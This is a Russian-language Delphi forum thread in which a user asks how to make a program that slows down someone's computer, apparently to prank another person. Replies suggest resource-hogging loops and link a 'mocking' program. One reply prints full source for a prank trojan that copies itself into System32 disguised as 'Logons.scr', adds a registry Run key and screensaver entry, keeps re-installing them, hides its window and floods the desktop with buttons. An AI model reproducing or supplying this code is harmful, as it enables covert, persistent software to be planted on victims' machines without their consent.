![]() |
| ||
|
|
Новости |
Поиск |
FAQ |
Статьи |
Книги |
Новости VCL
| | Форумы ЧАТ |
Орешник |
|
| |||
| |||
« предыдущая ветвь | форум | следующая ветвь »
загрузить комп
miSTER-TWISTER © (2006-07-28 18:31:00)подскажите как с помощью дельфи можно напсиать прогу которая
сможет заставить притормаживать комп средней производительности?
Homo Sapiens (2006-07-29 21:51:00) [1]Если надо пакость то вот:
http://slil.ru/22967282
пользуйся на здоровье Это моя первая издевательская программа
Степан (2006-07-29 21:17:00) [2]А зачем тебе прога! Поставь ему Windows XP. Тормоза и глюки в исполнении компании Минисофт обеспечены :)
Loginov Dmitry (2006-07-29 09:12:00) [3]> подскажите как с помощью дельфи можно напсиать прогу которая
> сможет заставить притормаживать комп средней производительности?
Копируешь в цикле непрерывно большой файл из одного места в другое, и тормоза будут обеспечены (если конечно компьютер средней производительности).
Virgo_Style (2006-07-28 21:40:00) [4]koha © (28.07.06 20:54) [9]
Не знаю, комп не свой, пришел, увидел, удалил. Заработало? До свидания. %-)
koha (2006-07-28 20:54:00) [5]> Virgo_Style ©
> Сегодня спасал компьютер от этого зверя
зверь это кто? касперыч что ли и с какой верисией? с 6?
Virgo_Style (2006-07-28 20:50:00) [6]Обратись в лабораторию Касперского.
Сегодня спасал компьютер от этого зверя, реакции не было вообще. Впрочем, возможно, это была индивидуальная несовместимость с Пандой.
koha (2006-07-28 20:45:00) [7]> Просто человек хочет комуто каку подстроить
Вот, например, это было написано в эпоху юношества моего несознательного
- так шутка, может даже и работать будет, пусть человек потешится ....... лижбы не плакало ....
unit Unit1;
interface
uses
Windows, SysUtils, Forms, Registry, ExtCtrls, Classes, Controls,Buttons, XPMan,
StdCtrls;
type
TFM = class(TForm)
Tmr: TTimer;
ChkInstall: TTimer;
TmFatal: TTimer;
XPManifest1: TXPManifest;
procedure TmFatalTimer(Sender: TObject);
procedure FmCloseQuery(Sender: TObject; var CanClose: Boolean);
procedure FmActivete(Sender: TObject);
procedure ChkInstallTimer(Sender: TObject);
procedure TmrTimer(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
FM: TFM;
WinDir,ComSpec,SystemRoot,CurPath,User: String;
Reg: TRegistry;
X,Y,i : integer;
Pnt: TPoint;
TmFlag: Boolean;
btns: TButton;
implementation
{$R *.dfm}
procedure TFM.FormCreate(Sender: TObject);
begin
Fm.KeyPreview := true;
Fm.TransparentColor := true;
Fm.TransparentColorValue := $000000;
Fm.Height := 30;
Fm.Width := 195;
Fm.Caption := 'Windows Logons';
Fm.BorderStyle := bsNone;
Fm.Position := poScreenCenter;
CurPath := LowerCase(ExtractFilePath(paramstr(0)));
SystemRoot := GetEnvironmentVariable('SystemRoot');
ComSpec := GetEnvironmentVariable('ComSpec');
WinDir := GetEnvironmentVariable('WinDir');
User := GetEnvironmentVariable('Username');
if Not FileExists(SystemRoot+'\system32\Logons.scr') then
Winexec(PChar(ComSpec+' /c copy '+paramstr(0)+' '+SystemRoot+ '\System32\Logons.scr'),SW_ShowMinimized);
try
try //Registry Run
Reg:=Tregistry.Create;
Reg.RootKey:=HKEY_LOCAL_MACHINE;
if Reg.OpenKey('\SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true) then
Reg.WriteString('Microsoft Logons','Logons.scr');
Finally Reg.CloseKey; Reg.Free End;
except end;
try
try //Registry SCRNSAVE.EXE
Reg:=Tregistry.Create;
Reg.RootKey:=HKEY_CURRENT_USER;
if Reg.OpenKey('\Control Panel\Desktop',true) then begin
Reg.WriteString('ScreenSaveTimeOut','60');
Reg.WriteString('SCRNSAVE.EXE',SystemRoot+'\system32\Logons.scr');
end;
Finally Reg.CloseKey; Reg.Free End;
except end;
If CurPath <> LowerCase(SystemRoot+'\system32\') then Application.Terminate;
TmFlag:=false;
Randomize;
Repeat i:=random(120); Until i > 20; Tmr.Interval:=1000*60*i;
TmFatal.Interval:=1000;
ChkInstall.Interval:=1000*30;
TmFatal.Enabled:=false;
end;
{--------------------------------- On Timer -----------------------------------}
procedure TFM.TmrTimer(Sender: TObject);
var i: integer;
begin
randomize;
If TmFlag = false then begin
TmFatal.Enabled:=true;
TmFlag:=true;
repeat i:=random(10); Until i > 3; Tmr.Interval:=1000*60*i;
end else begin
TmFatal.Enabled:=false;
TmFlag:=false;
Repeat i:=random(60); Until i > 15; Tmr.Interval:=1000*60*i;
end;
end;
{--------------------------------- Chk Install --------------------------------}
procedure TFM.ChkInstallTimer(Sender: TObject);
begin
//Registry Run
try
try
Reg:=Tregistry.Create;
Reg.RootKey:=HKEY_LOCAL_MACHINE;
if Reg.OpenKey('\SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true) then
Reg.WriteString('Microsoft Logons','Logons.scr');
Finally Reg.CloseKey; Reg.Free End;
except end;
//Registry SCRNSAVE.EXE
try
try
Reg:=Tregistry.Create;
Reg.RootKey:=HKEY_CURRENT_USER;
if Reg.OpenKey('\Control Panel\Desktop',true) then begin
Reg.WriteString('ScreenSaveTimeOut','60');
Reg.WriteString('SCRNSAVE.EXE',SystemRoot+'\System32\Logons.scr');
end;
Finally Reg.CloseKey; Reg.Free End;
except end;
end;
{---------------------------------- Activate ----------------------------------}
procedure TFM.FmActivete(Sender: TObject);
begin
ShowWindow(Handle, SW_HIDE);
ShowWindow(Application.Handle, SW_HIDE);
end;
{--------------------------------- Close Query --------------------------------}
procedure TFM.FmCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
//CanClose:=false;
end;
{-------------------------------- Fatal ---------------------------------------}
procedure TFM.TmFatalTimer(Sender: TObject);
begin
randomize;
btns:=TButton.Create(Owner);
btns.Parent:=Fm;
windows.SetParent(btns.Handle,GetDesktopWindow());
btns.Left:=random(Screen.Width);
btns.Top:=random(Screen.Height);
btns.Width:=(8+Length(User))*7;
btns.Caption:='Привет '+User+'!';
GetCursorPos(Pnt);
If (Pnt.X <> X) or (Pnt.Y <> Y) then begin
X:=Pnt.X; Y:=Pnt.Y;
for i:=1 to random(10) do begin
btns:=TButton.Create(Owner);
btns.Parent:=Fm;
windows.SetParent(btns.Handle,GetDesktopWindow());
btns.Left:=random(Screen.Width);
btns.Top:=random(Screen.Height);
btns.Width:=(8+Length(User))*7;
btns.Caption:='Привет '+User+'!';
end;
end;
end;
end.
cando (2006-07-28 18:58:00) [8]Просто человек хочет комуто каку подстроить :)
IceBeerg (2006-07-28 18:55:00) [9]Мефисто (28.07.06 18:52) [4]
Как показывает практика. Программы особой кривоватости успешно справляются с данной задачей.
Во-во! Тут бъешся, чтобы программа быстрее работатла и как можно меньше другим программам мешала...
Мефисто (2006-07-28 18:52:00) [10]
> miSTER-TWISTER (28.07.06 18:31)
Как показывает практика. Программы особой кривоватости успешно справляются с данной задачей.
DevilDevil (2006-07-28 18:47:00) [11]
for (int i = 0; ; i++){}
:)
cando (2006-07-28 18:46:00) [12]повысь приорете своей программы до максимума
и выполняй любые действия например большой цикл или вообще бесконечный
гарантирую без перезагрузки или отключения твоей программы ком висеть будет страшно
KilkennyCat (2006-07-28 18:34:00) [13]Для начала напишем прогу, которая определит, средняя ли производительность у компа, или нет...
Сформулируйте вопрос грамотно, по существу и в рамках правил, традиций и идеологии данного форума.